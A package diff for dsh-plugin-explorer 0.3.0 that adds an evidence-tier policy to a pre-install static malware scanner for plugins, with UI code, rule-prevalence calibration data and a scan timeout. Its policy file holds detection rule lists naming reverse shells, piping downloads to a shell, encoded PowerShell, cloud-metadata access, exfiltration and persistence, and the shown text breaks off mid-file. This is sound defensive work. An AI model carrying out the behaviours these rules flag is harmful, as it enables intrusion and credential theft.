dsh-plugin-explorer 0.2.3 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +26 -8
- package/client.js +107 -28
- package/data/calibration.json +259 -0
- package/index.js +16 -2
- package/lib/gate/policy.js +331 -0
- package/lib/gate/rules.js +1 -1
- package/lib/gate-scan.js +28 -2
- package/locale/en.json +2 -1
- package/locale/zh.json +2 -1
- package/package.json +1 -1
- package/scripts/verify.mjs +18 -0
package/README.md
CHANGED
|
@@ -24,16 +24,29 @@ upstream community index (`dsh-plugin-catalog` on jsDelivr) for the rest of the
|
|
|
24
24
|
|
|
25
25
|
## Pre-install safety scan
|
|
26
26
|
|
|
27
|
-
Every install is scanned before the confirmation dialog opens. The scanner
|
|
28
|
-
[dsh-plugin-gate](https://www.npmjs.com/package/dsh-plugin-gate) 1.3.2 (MIT)
|
|
29
|
-
`lib/gate
|
|
27
|
+
Every install is scanned before the confirmation dialog opens. The scanner ports
|
|
28
|
+
[dsh-plugin-gate](https://www.npmjs.com/package/dsh-plugin-gate) 1.3.2 (MIT) under `lib/gate/`,
|
|
29
|
+
then applies an evidence policy of its own in `lib/gate/policy.js`:
|
|
30
30
|
|
|
31
31
|
- Reads the published npm tarball in memory (npmmirror first, npmjs.com as fallback), decompresses
|
|
32
32
|
it with `lib/gate/targz.js`, and runs 60 static signature rules from `lib/gate/rules.js`.
|
|
33
|
-
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
-
|
|
33
|
+
- Splits hits into evidence tiers: `hard` (reverse shell, encoded download-and-run, persistence),
|
|
34
|
+
`review` (secret access combined with network, writes outside the workspace, downloads), and
|
|
35
|
+
`common` capabilities (HTTP clients, child processes, environment reads, TLS/network references).
|
|
36
|
+
- Explains capabilities in plain language ("uses the network", "runs child processes") and how often
|
|
37
|
+
that rule appears across the 300 most downloaded catalog plugins (`data/calibration.json`).
|
|
38
|
+
- Verdicts:
|
|
39
|
+
- `PASS` — no malicious evidence was found. Capabilities are still listed, and this is a heuristic,
|
|
40
|
+
not a safety guarantee.
|
|
41
|
+
- `WARN` — a rare review signal, or a combination worth checking (for example secret access plus
|
|
42
|
+
outbound network). The dialog shows the evidence; confirm only after reading it.
|
|
43
|
+
- `BLOCK` — a combination that only makes sense for malware, such as a lifecycle script that
|
|
44
|
+
downloads remote content and executes it, or decoded code run together with network access.
|
|
45
|
+
- Never executes scanned code and never writes to disk. Results are cached in memory for ten
|
|
46
|
+
minutes; **Refresh catalog** does not clear that cache.
|
|
47
|
+
|
|
48
|
+
The bundled rules, tiers, and calibration data are heuristics tuned against the community catalog.
|
|
49
|
+
They can miss novel malware and can still warn on legitimate build tooling.
|
|
37
50
|
|
|
38
51
|
## Installed bundles and updates
|
|
39
52
|
|
|
@@ -79,7 +92,12 @@ shows `Update to vA.B.C`, which opens the same scan dialog and then the standard
|
|
|
79
92
|
bundles on `GET /api/plugin-finder/installed.json`.
|
|
80
93
|
- `lib/catalog.js` normalizes both the bundled snapshot and a refreshed upstream document.
|
|
81
94
|
- `lib/npm.js` resolves packuments through npmmirror then npmjs.com.
|
|
82
|
-
- `lib/gate-scan.js` ports the upstream `scanNpmPackage` flow
|
|
95
|
+
- `lib/gate-scan.js` ports the upstream `scanNpmPackage` flow, trims results for the Web page, and
|
|
96
|
+
applies `lib/gate/policy.js`.
|
|
97
|
+
- `lib/gate/policy.js` holds the evidence tiers, combination rules, and prevalence weighting;
|
|
98
|
+
`data/calibration.json` records how often each rule appears in the 300 most downloaded plugins.
|
|
99
|
+
- Regenerate calibration data with `_pkg_research/build-calibration.mjs` (outside this package)
|
|
100
|
+
after a new catalog snapshot.
|
|
83
101
|
- `lib/installed.js` reads the running profile's `package.json` and `node_modules`.
|
|
84
102
|
- `node scripts/verify.mjs` checks the routes, bundled directory, search/filter pipeline, and
|
|
85
103
|
renders; add `--refresh` to exercise the live upstream catalog, `--scan` to scan this package's
|
package/client.js
CHANGED
|
@@ -66,6 +66,24 @@ window.__ModuleLoader__.load({
|
|
|
66
66
|
scanDisclaimer: '静态规则扫描(源自 dsh-plugin-gate,MIT)只读、不执行代码;结果是启发式判断,不是安全保证。',
|
|
67
67
|
scanCached: '缓存结果',
|
|
68
68
|
installedFailed: '读取已安装插件失败,仍可安装',
|
|
69
|
+
riskClean: '未发现异常信号',
|
|
70
|
+
riskNotice: '未发现恶意特征;该插件会{capabilities}',
|
|
71
|
+
riskReview: '有 {count} 条需要复核的信号',
|
|
72
|
+
riskDanger: '发现恶意行为或组合特征',
|
|
73
|
+
capsTitle: '能力清单',
|
|
74
|
+
capJoin: '、',
|
|
75
|
+
cap_network: '联网',
|
|
76
|
+
cap_exec: '执行命令',
|
|
77
|
+
cap_env: '读环境变量',
|
|
78
|
+
cap_secrets: '读敏感文件',
|
|
79
|
+
cap_files: '写文件',
|
|
80
|
+
cap_obfuscation: '动态代码/混淆',
|
|
81
|
+
cap_scripts: '安装脚本',
|
|
82
|
+
reviewTitle: '需要复核({count})',
|
|
83
|
+
commonTitle: '常见能力信号({count})',
|
|
84
|
+
prevalence: '出现在 {pct}% 的插件中',
|
|
85
|
+
combosTitle: '组合特征',
|
|
86
|
+
rulesLine: '命中 {count} 类信号 · 扫描 {files} 个文件',
|
|
69
87
|
}
|
|
70
88
|
|
|
71
89
|
const en = {
|
|
@@ -120,6 +138,25 @@ window.__ModuleLoader__.load({
|
|
|
120
138
|
scanDisclaimer: 'Static rule scan (from dsh-plugin-gate, MIT) only reads; it does not execute code. Heuristic results, not a guarantee.',
|
|
121
139
|
scanCached: 'cached result',
|
|
122
140
|
installedFailed: 'Could not read installed plugins; installing still works',
|
|
141
|
+
riskClean: 'No unusual signals found',
|
|
142
|
+
riskNotice: 'No malicious features found; this plugin can {capabilities}',
|
|
143
|
+
riskCapabilitiesOnly: '{count} capabilities, no malicious combination found',
|
|
144
|
+
riskReview: '{count} signals need a closer look',
|
|
145
|
+
riskDanger: 'Malicious behaviour or combination detected',
|
|
146
|
+
capsTitle: 'Capabilities',
|
|
147
|
+
capJoin: ', ',
|
|
148
|
+
cap_network: 'network',
|
|
149
|
+
cap_exec: 'run commands',
|
|
150
|
+
cap_env: 'read env vars',
|
|
151
|
+
cap_secrets: 'read credentials',
|
|
152
|
+
cap_files: 'write files',
|
|
153
|
+
cap_obfuscation: 'dynamic code',
|
|
154
|
+
cap_scripts: 'install scripts',
|
|
155
|
+
reviewTitle: 'Needs review ({count})',
|
|
156
|
+
commonTitle: 'Common capabilities ({count})',
|
|
157
|
+
prevalence: 'seen in {pct}% of plugins',
|
|
158
|
+
combosTitle: 'Combinations',
|
|
159
|
+
rulesLine: '{count} signal types · {files} files scanned',
|
|
123
160
|
}
|
|
124
161
|
|
|
125
162
|
const CATEGORIES = {
|
|
@@ -281,6 +318,24 @@ window.__ModuleLoader__.load({
|
|
|
281
318
|
.pf-hit-file { font-family: ui-monospace, SFMono-Regular, Consolas, monospace; font-size: 10px; color: var(--dsw-alias-label-secondary); word-break: break-all; }
|
|
282
319
|
.pf-hit-evidence { margin-top: 4px; font-family: ui-monospace, SFMono-Regular, Consolas, monospace; font-size: 10px; color: var(--dsw-alias-label-secondary); word-break: break-all; }
|
|
283
320
|
.pf-hit-hint { margin-top: 4px; color: var(--dsw-alias-label-secondary); }
|
|
321
|
+
.pf-risk-text { font-size: 12px; font-weight: 600; color: var(--dsw-alias-label-primary); }
|
|
322
|
+
.pf-caps-block { display: flex; flex-direction: column; gap: 4px; margin-top: 10px; }
|
|
323
|
+
.pf-caps { display: flex; flex-wrap: wrap; gap: 4px; }
|
|
324
|
+
.pf-cap {
|
|
325
|
+
font-size: 11px; padding: 1px 8px; border-radius: 999px;
|
|
326
|
+
background: var(--dsw-alias-bg-layer-2); border: 1px solid var(--dsw-alias-border-l1);
|
|
327
|
+
color: var(--dsw-alias-label-secondary);
|
|
328
|
+
}
|
|
329
|
+
.pf-combos-block { display: flex; flex-direction: column; gap: 4px; margin-top: 10px; }
|
|
330
|
+
.pf-combo {
|
|
331
|
+
font-size: 11px; line-height: 16px; padding: 5px 9px; border-radius: 6px;
|
|
332
|
+
border-left: 3px solid light-dark(#cf222e, #f85149);
|
|
333
|
+
background: var(--dsw-alias-bg-layer-2); color: var(--dsw-alias-label-secondary);
|
|
334
|
+
}
|
|
335
|
+
.pf-hit-prev {
|
|
336
|
+
font-size: 10px; padding: 0 6px; border-radius: 999px;
|
|
337
|
+
background: var(--dsw-alias-bg-layer-2); color: var(--dsw-alias-label-secondary);
|
|
338
|
+
}
|
|
284
339
|
.pf-recs { margin: 0; padding-left: 18px; font-size: 11px; line-height: 17px; color: var(--dsw-alias-label-secondary); }
|
|
285
340
|
.pf-disclaimer { font-size: 10px; line-height: 15px; color: var(--dsw-alias-label-secondary); }
|
|
286
341
|
.pf-dialog-actions { display: flex; justify-content: flex-end; gap: 8px; }
|
|
@@ -555,18 +610,40 @@ window.__ModuleLoader__.load({
|
|
|
555
610
|
const verdictClass = verdict === 'PASS' ? 'pf-verdict-pass' : verdict === 'WARN' ? 'pf-verdict-warn' : 'pf-verdict-block'
|
|
556
611
|
const verdictText = verdict === 'PASS' ? t('verdictPass') : verdict === 'WARN' ? t('verdictWarn') : t('verdictBlock')
|
|
557
612
|
const confirmLabel = verdict === 'PASS' ? t('confirmInstall') : verdict === 'WARN' ? t('installAnyway') : t('riskInstall')
|
|
558
|
-
const summary = result?.summary ?? { high: 0, medium: 0, low: 0 }
|
|
559
613
|
const hosts = Array.isArray(result?.network?.hosts) ? result.network.hosts : []
|
|
560
|
-
const hits = Array.isArray(result?.hits) ? result.hits : []
|
|
561
614
|
const recommendations = Array.isArray(result?.recommendations) ? result.recommendations : []
|
|
562
615
|
const severityRank = { high: 0, medium: 1, low: 2 }
|
|
563
|
-
const
|
|
564
|
-
|
|
565
|
-
const
|
|
566
|
-
const
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
616
|
+
const capabilities = Array.isArray(result?.capabilities) ? result.capabilities : []
|
|
617
|
+
const comboList = Array.isArray(result?.combos) ? result.combos : []
|
|
618
|
+
const prevalence = result !== undefined && result !== null && result.prevalence !== undefined && result.prevalence !== null ? result.prevalence : {}
|
|
619
|
+
const criticalHits = Array.isArray(result?.criticalEvidence) ? result.criticalEvidence : []
|
|
620
|
+
const reviewSource = Array.isArray(result?.reviewEvidence) ? result.reviewEvidence : []
|
|
621
|
+
const commonSource = Array.isArray(result?.commonEvidence) ? result.commonEvidence : []
|
|
622
|
+
// Older cached results only carry the flat hit list.
|
|
623
|
+
const legacy = criticalHits.length === 0 && reviewSource.length === 0 && commonSource.length === 0 && Array.isArray(result?.hits) ? result.hits : []
|
|
624
|
+
const reviewHits = [...criticalHits, ...reviewSource, ...legacy.filter(hit => hit.severity !== 'low')]
|
|
625
|
+
.sort((a, b) => (severityRank[a.severity] ?? 3) - (severityRank[b.severity] ?? 3))
|
|
626
|
+
const commonHits = commonSource.length > 0 ? commonSource : legacy.filter(hit => hit.severity === 'low')
|
|
627
|
+
const visibleCommon = showAll ? commonHits : commonHits.slice(0, 3)
|
|
628
|
+
const hiddenCommon = Math.max(0, commonHits.length - visibleCommon.length)
|
|
629
|
+
const riskLevel = result?.riskLevel ?? (verdict === 'BLOCK' ? 'danger' : verdict === 'WARN' ? 'review' : capabilities.length > 0 ? 'notice' : 'clean')
|
|
630
|
+
const capabilityText = capabilities.map(key => t('cap_' + key)).join(t('capJoin'))
|
|
631
|
+
const riskText = riskLevel === 'danger'
|
|
632
|
+
? t('riskDanger')
|
|
633
|
+
: riskLevel === 'review'
|
|
634
|
+
? (reviewHits.length === 0 && comboList.length === 0
|
|
635
|
+
? t('riskCapabilitiesOnly', { count: capabilities.length })
|
|
636
|
+
: t('riskReview', { count: reviewHits.length }))
|
|
637
|
+
: riskLevel === 'notice'
|
|
638
|
+
? t('riskNotice', { capabilities: capabilityText })
|
|
639
|
+
: t('riskClean')
|
|
640
|
+
const renderHit = (hit, index) => h('div', { key: index, className: 'pf-hit', 'data-sev': hit.severity },
|
|
641
|
+
h('div', { className: 'pf-hit-head' },
|
|
642
|
+
h('span', { className: 'pf-hit-rule' }, severityLabel(hit.severity, t) + ' · ' + hit.rule),
|
|
643
|
+
prevalence[hit.rule] !== undefined ? h('span', { className: 'pf-hit-prev' }, t('prevalence', { pct: prevalence[hit.rule] })) : null,
|
|
644
|
+
h('span', { className: 'pf-hit-file' }, hit.file + ':' + hit.line)),
|
|
645
|
+
h('div', { className: 'pf-hit-evidence' }, hit.evidence ?? ''),
|
|
646
|
+
hit.hint === undefined ? null : h('div', { className: 'pf-hit-hint' }, hit.hint))
|
|
570
647
|
const confirmButton = status === 'ready'
|
|
571
648
|
? h('button', {
|
|
572
649
|
type: 'button', className: 'pf-button ' + (verdict === 'BLOCK' ? 'pf-button-danger' : 'pf-button-primary'),
|
|
@@ -599,29 +676,31 @@ window.__ModuleLoader__.load({
|
|
|
599
676
|
: h('div', null,
|
|
600
677
|
h('div', { className: 'pf-verdict' },
|
|
601
678
|
h('span', { className: 'pf-verdict-badge ' + verdictClass }, verdictText),
|
|
679
|
+
h('span', { className: 'pf-risk-text' }, riskText),
|
|
602
680
|
h('span', { className: 'pf-scan-meta' },
|
|
603
|
-
h('span', null, t('
|
|
604
|
-
h('span', null, t('filesScanned', { count: result.filesScanned ?? 0 })),
|
|
681
|
+
h('span', null, t('rulesLine', { count: result.ruleCount ?? reviewHits.length + commonHits.length, files: result.filesScanned ?? 0 })),
|
|
605
682
|
result.cached === true ? h('span', null, t('scanCached')) : null)),
|
|
683
|
+
capabilities.length === 0 ? null : h('div', { className: 'pf-caps-block' },
|
|
684
|
+
h('div', { className: 'pf-hits-title' }, t('capsTitle')),
|
|
685
|
+
h('div', { className: 'pf-caps' },
|
|
686
|
+
capabilities.map(key => h('span', { key, className: 'pf-cap' }, t('cap_' + key))))),
|
|
687
|
+
comboList.length === 0 ? null : h('div', { className: 'pf-combos-block' },
|
|
688
|
+
h('div', { className: 'pf-hits-title' }, t('combosTitle')),
|
|
689
|
+
comboList.map((combo, index) => h('div', { key: index, className: 'pf-combo' }, combo.detail))),
|
|
606
690
|
h('div', { className: 'pf-scan-meta', style: { marginTop: 8 } },
|
|
607
691
|
h('span', null, hosts.length === 0 ? t('networkNone') : t('networkHosts', { hosts: hosts.join(', ') }))),
|
|
608
|
-
|
|
609
|
-
? h('div', { className: 'pf-
|
|
610
|
-
|
|
611
|
-
h('div', { className: 'pf-hits
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
|
|
618
|
-
|
|
619
|
-
|
|
620
|
-
hit.hint === undefined ? null : h('div', { className: 'pf-hit-hint' }, hit.hint)))),
|
|
621
|
-
hiddenHits <= 0 ? null : h('button', {
|
|
622
|
-
type: 'button', className: 'pf-link pf-hits-more',
|
|
623
|
-
onClick: () => { setShowAll(value => !value) },
|
|
624
|
-
}, showAll ? t('showLess') : t('showAllHits', { count: hiddenHits }))),
|
|
692
|
+
reviewHits.length > 0
|
|
693
|
+
? h('div', { className: 'pf-hits-block' },
|
|
694
|
+
h('div', { className: 'pf-hits-title' }, t('reviewTitle', { count: reviewHits.length })),
|
|
695
|
+
h('div', { className: 'pf-hits' }, reviewHits.slice(0, 8).map(renderHit)))
|
|
696
|
+
: h('div', { className: 'pf-notes', style: { marginTop: 8 } }, t('riskClean')),
|
|
697
|
+
commonHits.length === 0 ? null : h('div', { className: 'pf-hits-block' },
|
|
698
|
+
h('div', { className: 'pf-hits-title' }, t('commonTitle', { count: commonHits.length })),
|
|
699
|
+
h('div', { className: 'pf-hits' }, visibleCommon.map(renderHit)),
|
|
700
|
+
hiddenCommon <= 0 ? null : h('button', {
|
|
701
|
+
type: 'button', className: 'pf-link pf-hits-more',
|
|
702
|
+
onClick: () => { setShowAll(value => !value) },
|
|
703
|
+
}, showAll ? t('showLess') : t('showAllHits', { count: hiddenCommon }))),
|
|
625
704
|
(result.notes ?? 0) > 0 ? h('div', { className: 'pf-note', style: { marginTop: 6 } }, t('notesLine', { count: result.notes })) : null,
|
|
626
705
|
recommendations.length === 0 ? null : h('ul', { className: 'pf-recs', style: { marginTop: 8 } },
|
|
627
706
|
recommendations.slice(0, 4).map((text, index) => h('li', { key: index }, text))))),
|
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
{
|
|
2
|
+
"generatedAt": "2026-12-03T00:57:06.549Z",
|
|
3
|
+
"sample": 286,
|
|
4
|
+
"limit": 300,
|
|
5
|
+
"rules": {
|
|
6
|
+
"http_url": {
|
|
7
|
+
"packages": 278,
|
|
8
|
+
"prevalence": 0.972
|
|
9
|
+
},
|
|
10
|
+
"env_any": {
|
|
11
|
+
"packages": 200,
|
|
12
|
+
"prevalence": 0.6993
|
|
13
|
+
},
|
|
14
|
+
"fetch_call": {
|
|
15
|
+
"packages": 215,
|
|
16
|
+
"prevalence": 0.7517
|
|
17
|
+
},
|
|
18
|
+
"exec_sync": {
|
|
19
|
+
"packages": 76,
|
|
20
|
+
"prevalence": 0.2657
|
|
21
|
+
},
|
|
22
|
+
"exec_api": {
|
|
23
|
+
"packages": 236,
|
|
24
|
+
"prevalence": 0.8252
|
|
25
|
+
},
|
|
26
|
+
"ipv4": {
|
|
27
|
+
"packages": 175,
|
|
28
|
+
"prevalence": 0.6119
|
|
29
|
+
},
|
|
30
|
+
"minified_line": {
|
|
31
|
+
"packages": 74,
|
|
32
|
+
"prevalence": 0.2587
|
|
33
|
+
},
|
|
34
|
+
"uni_escapes": {
|
|
35
|
+
"packages": 66,
|
|
36
|
+
"prevalence": 0.2308
|
|
37
|
+
},
|
|
38
|
+
"http_client": {
|
|
39
|
+
"packages": 198,
|
|
40
|
+
"prevalence": 0.6923
|
|
41
|
+
},
|
|
42
|
+
"fromcharcode": {
|
|
43
|
+
"packages": 101,
|
|
44
|
+
"prevalence": 0.3531
|
|
45
|
+
},
|
|
46
|
+
"hex_escapes": {
|
|
47
|
+
"packages": 33,
|
|
48
|
+
"prevalence": 0.1154
|
|
49
|
+
},
|
|
50
|
+
"base64_blob": {
|
|
51
|
+
"packages": 34,
|
|
52
|
+
"prevalence": 0.1189
|
|
53
|
+
},
|
|
54
|
+
"socket_api": {
|
|
55
|
+
"packages": 64,
|
|
56
|
+
"prevalence": 0.2238
|
|
57
|
+
},
|
|
58
|
+
"suspicious_tld": {
|
|
59
|
+
"packages": 132,
|
|
60
|
+
"prevalence": 0.4615
|
|
61
|
+
},
|
|
62
|
+
"ip_obfuscation": {
|
|
63
|
+
"packages": 160,
|
|
64
|
+
"prevalence": 0.5594
|
|
65
|
+
},
|
|
66
|
+
"data_exfil_heuristic": {
|
|
67
|
+
"packages": 93,
|
|
68
|
+
"prevalence": 0.3252
|
|
69
|
+
},
|
|
70
|
+
"rm_recursive": {
|
|
71
|
+
"packages": 111,
|
|
72
|
+
"prevalence": 0.3881
|
|
73
|
+
},
|
|
74
|
+
"read_secrets_paths": {
|
|
75
|
+
"packages": 61,
|
|
76
|
+
"prevalence": 0.2133
|
|
77
|
+
},
|
|
78
|
+
"cloud_metadata": {
|
|
79
|
+
"packages": 7,
|
|
80
|
+
"prevalence": 0.0245
|
|
81
|
+
},
|
|
82
|
+
"dynamic_require": {
|
|
83
|
+
"packages": 86,
|
|
84
|
+
"prevalence": 0.3007
|
|
85
|
+
},
|
|
86
|
+
"ps_iex": {
|
|
87
|
+
"packages": 6,
|
|
88
|
+
"prevalence": 0.021
|
|
89
|
+
},
|
|
90
|
+
"spawn_call": {
|
|
91
|
+
"packages": 102,
|
|
92
|
+
"prevalence": 0.3566
|
|
93
|
+
},
|
|
94
|
+
"homedir": {
|
|
95
|
+
"packages": 137,
|
|
96
|
+
"prevalence": 0.479
|
|
97
|
+
},
|
|
98
|
+
"download_cmd": {
|
|
99
|
+
"packages": 78,
|
|
100
|
+
"prevalence": 0.2727
|
|
101
|
+
},
|
|
102
|
+
"pipe_to_shell": {
|
|
103
|
+
"packages": 54,
|
|
104
|
+
"prevalence": 0.1888
|
|
105
|
+
},
|
|
106
|
+
"sandbox_escalation": {
|
|
107
|
+
"packages": 46,
|
|
108
|
+
"prevalence": 0.1608
|
|
109
|
+
},
|
|
110
|
+
"lifecycle_script": {
|
|
111
|
+
"packages": 30,
|
|
112
|
+
"prevalence": 0.1049
|
|
113
|
+
},
|
|
114
|
+
"env_in_cmd": {
|
|
115
|
+
"packages": 11,
|
|
116
|
+
"prevalence": 0.0385
|
|
117
|
+
},
|
|
118
|
+
"char_array": {
|
|
119
|
+
"packages": 40,
|
|
120
|
+
"prevalence": 0.1399
|
|
121
|
+
},
|
|
122
|
+
"chmod_suid": {
|
|
123
|
+
"packages": 10,
|
|
124
|
+
"prevalence": 0.035
|
|
125
|
+
},
|
|
126
|
+
"priv_key": {
|
|
127
|
+
"packages": 1,
|
|
128
|
+
"prevalence": 0.0035
|
|
129
|
+
},
|
|
130
|
+
"path_traversal": {
|
|
131
|
+
"packages": 86,
|
|
132
|
+
"prevalence": 0.3007
|
|
133
|
+
},
|
|
134
|
+
"pwd_assign": {
|
|
135
|
+
"packages": 30,
|
|
136
|
+
"prevalence": 0.1049
|
|
137
|
+
},
|
|
138
|
+
"binary_blob": {
|
|
139
|
+
"packages": 91,
|
|
140
|
+
"prevalence": 0.3182
|
|
141
|
+
},
|
|
142
|
+
"atob_call": {
|
|
143
|
+
"packages": 33,
|
|
144
|
+
"prevalence": 0.1154
|
|
145
|
+
},
|
|
146
|
+
"env_secret_key": {
|
|
147
|
+
"packages": 13,
|
|
148
|
+
"prevalence": 0.0455
|
|
149
|
+
},
|
|
150
|
+
"dotfile_write": {
|
|
151
|
+
"packages": 2,
|
|
152
|
+
"prevalence": 0.007
|
|
153
|
+
},
|
|
154
|
+
"new_function": {
|
|
155
|
+
"packages": 19,
|
|
156
|
+
"prevalence": 0.0664
|
|
157
|
+
},
|
|
158
|
+
"function_ctor": {
|
|
159
|
+
"packages": 17,
|
|
160
|
+
"prevalence": 0.0594
|
|
161
|
+
},
|
|
162
|
+
"startup_registry": {
|
|
163
|
+
"packages": 5,
|
|
164
|
+
"prevalence": 0.0175
|
|
165
|
+
},
|
|
166
|
+
"cmd_launch": {
|
|
167
|
+
"packages": 17,
|
|
168
|
+
"prevalence": 0.0594
|
|
169
|
+
},
|
|
170
|
+
"ws_url": {
|
|
171
|
+
"packages": 16,
|
|
172
|
+
"prevalence": 0.0559
|
|
173
|
+
},
|
|
174
|
+
"dns_call": {
|
|
175
|
+
"packages": 7,
|
|
176
|
+
"prevalence": 0.0245
|
|
177
|
+
},
|
|
178
|
+
"shell_true": {
|
|
179
|
+
"packages": 22,
|
|
180
|
+
"prevalence": 0.0769
|
|
181
|
+
},
|
|
182
|
+
"cron_persistence": {
|
|
183
|
+
"packages": 17,
|
|
184
|
+
"prevalence": 0.0594
|
|
185
|
+
},
|
|
186
|
+
"eval_call": {
|
|
187
|
+
"packages": 6,
|
|
188
|
+
"prevalence": 0.021
|
|
189
|
+
},
|
|
190
|
+
"ps_encoded": {
|
|
191
|
+
"packages": 6,
|
|
192
|
+
"prevalence": 0.021
|
|
193
|
+
},
|
|
194
|
+
"webhook": {
|
|
195
|
+
"packages": 3,
|
|
196
|
+
"prevalence": 0.0105
|
|
197
|
+
},
|
|
198
|
+
"node_eval": {
|
|
199
|
+
"packages": 17,
|
|
200
|
+
"prevalence": 0.0594
|
|
201
|
+
},
|
|
202
|
+
"rc_persistence": {
|
|
203
|
+
"packages": 3,
|
|
204
|
+
"prevalence": 0.0105
|
|
205
|
+
},
|
|
206
|
+
"gh_token": {
|
|
207
|
+
"packages": 2,
|
|
208
|
+
"prevalence": 0.007
|
|
209
|
+
},
|
|
210
|
+
"reverse_shell": {
|
|
211
|
+
"packages": 3,
|
|
212
|
+
"prevalence": 0.0105
|
|
213
|
+
},
|
|
214
|
+
"sk_key": {
|
|
215
|
+
"packages": 1,
|
|
216
|
+
"prevalence": 0.0035
|
|
217
|
+
},
|
|
218
|
+
"bearer": {
|
|
219
|
+
"packages": 1,
|
|
220
|
+
"prevalence": 0.0035
|
|
221
|
+
},
|
|
222
|
+
"risky_dependency": {
|
|
223
|
+
"packages": 1,
|
|
224
|
+
"prevalence": 0.0035
|
|
225
|
+
},
|
|
226
|
+
"write_home": {
|
|
227
|
+
"packages": 1,
|
|
228
|
+
"prevalence": 0.0035
|
|
229
|
+
},
|
|
230
|
+
"write_system": {
|
|
231
|
+
"packages": 1,
|
|
232
|
+
"prevalence": 0.0035
|
|
233
|
+
},
|
|
234
|
+
"symlink_escape": {
|
|
235
|
+
"packages": 2,
|
|
236
|
+
"prevalence": 0.007
|
|
237
|
+
},
|
|
238
|
+
"vm_run": {
|
|
239
|
+
"packages": 3,
|
|
240
|
+
"prevalence": 0.0105
|
|
241
|
+
},
|
|
242
|
+
"encoded_pipe_sh": {
|
|
243
|
+
"packages": 1,
|
|
244
|
+
"prevalence": 0.0035
|
|
245
|
+
}
|
|
246
|
+
},
|
|
247
|
+
"capabilities": {
|
|
248
|
+
"net": 0.9825,
|
|
249
|
+
"exec": 0.8636,
|
|
250
|
+
"env": 0.6993,
|
|
251
|
+
"obfusc": 0.6818,
|
|
252
|
+
"exfil": 0.3322,
|
|
253
|
+
"secrets": 0.5629,
|
|
254
|
+
"lifecycle": 0.1084,
|
|
255
|
+
"write": 0.0455,
|
|
256
|
+
"secretsLeak": 0.1154,
|
|
257
|
+
"persistence": 0.0699
|
|
258
|
+
}
|
|
259
|
+
}
|
package/index.js
CHANGED
|
@@ -25,6 +25,20 @@ const REFRESH_TIMEOUT_MS = 90_000
|
|
|
25
25
|
/** npm names we are willing to look up (scoped and unscoped). */
|
|
26
26
|
const PACKAGE_NAME = /^(?:@[a-z0-9][\w.-]*\/)?[a-z0-9][\w.-]{0,213}$/i
|
|
27
27
|
const VERSION = /^[0-9A-Za-z][0-9A-Za-z.+_-]{0,63}$/
|
|
28
|
+
const SCAN_TIMEOUT_MS = 60_000
|
|
29
|
+
const SCAN_TIMEOUT = new Error('scan timed out (package too large or an abnormal file blocked the scan)')
|
|
30
|
+
SCAN_TIMEOUT.code = 'ETIMEOUT'
|
|
31
|
+
|
|
32
|
+
/** Never let a pathological package keep the scanner request open forever. */
|
|
33
|
+
function withTimeout(promise, ms) {
|
|
34
|
+
let timer
|
|
35
|
+
return Promise.race([
|
|
36
|
+
promise.finally(() => clearTimeout(timer)),
|
|
37
|
+
new Promise((resolve, reject) => {
|
|
38
|
+
timer = setTimeout(() => reject(SCAN_TIMEOUT), ms)
|
|
39
|
+
}),
|
|
40
|
+
])
|
|
41
|
+
}
|
|
28
42
|
|
|
29
43
|
function respond(body, status = 200) {
|
|
30
44
|
return new Response(body, {
|
|
@@ -104,11 +118,11 @@ export function apply(ctx) {
|
|
|
104
118
|
return fail('invalid version', 400)
|
|
105
119
|
}
|
|
106
120
|
try {
|
|
107
|
-
const result = await scanPackage(name, version === '' ? undefined : version)
|
|
121
|
+
const result = await withTimeout(scanPackage(name, version === '' ? undefined : version), SCAN_TIMEOUT_MS)
|
|
108
122
|
return respond(JSON.stringify(result))
|
|
109
123
|
} catch (error) {
|
|
110
124
|
const message = error instanceof Error ? error.message : String(error)
|
|
111
|
-
return fail(message, 502)
|
|
125
|
+
return fail(message, error === SCAN_TIMEOUT ? 504 : 502)
|
|
112
126
|
}
|
|
113
127
|
},
|
|
114
128
|
},
|
|
@@ -0,0 +1,331 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Risk policy for the plugin explorer scanner.
|
|
3
|
+
*
|
|
4
|
+
* The raw signature scan (lib/gate) flags *capabilities* such as network
|
|
5
|
+
* access, process execution and environment reads. Those are normal for a DSH
|
|
6
|
+
* plugin, so capability hits never decide the verdict on their own: they are
|
|
7
|
+
* reported as a capability profile. The verdict is driven by rare, hostile
|
|
8
|
+
* behaviour and by the combinations that malware needs at the same time
|
|
9
|
+
* (download-and-run install scripts, encoded payloads executed at runtime,
|
|
10
|
+
* read-secret-and-send, persistence, exfiltration sinks).
|
|
11
|
+
*
|
|
12
|
+
* Calibration data (data/calibration.json) records how often every rule fires
|
|
13
|
+
* across the top community plugins; a rule that fires on most packages counts
|
|
14
|
+
* far less than one that is almost never seen.
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
/** Rules that are hostile on their own: a single hit blocks installation. */
|
|
18
|
+
export const CRITICAL_RULES = new Set([
|
|
19
|
+
'reverse_shell',
|
|
20
|
+
'encoded_pipe_sh',
|
|
21
|
+
'ps_encoded',
|
|
22
|
+
'ps_iex',
|
|
23
|
+
'ps_download_exec',
|
|
24
|
+
'wget_exec',
|
|
25
|
+
'pipe_to_shell',
|
|
26
|
+
'cloud_metadata',
|
|
27
|
+
'webhook',
|
|
28
|
+
'onion',
|
|
29
|
+
'exfil_post',
|
|
30
|
+
'rc_persistence',
|
|
31
|
+
'cron_persistence',
|
|
32
|
+
'startup_registry',
|
|
33
|
+
])
|
|
34
|
+
|
|
35
|
+
/** Rules that need review but are not hostile on their own. */
|
|
36
|
+
export const REVIEW_RULES = new Set([
|
|
37
|
+
'write_system',
|
|
38
|
+
'sk_key',
|
|
39
|
+
'gh_token',
|
|
40
|
+
'aws_key',
|
|
41
|
+
'priv_key',
|
|
42
|
+
'download_cmd',
|
|
43
|
+
'symlink_escape',
|
|
44
|
+
])
|
|
45
|
+
|
|
46
|
+
/** Capability rule groups shown in the dialog. */
|
|
47
|
+
export const CAPABILITY_GROUPS = {
|
|
48
|
+
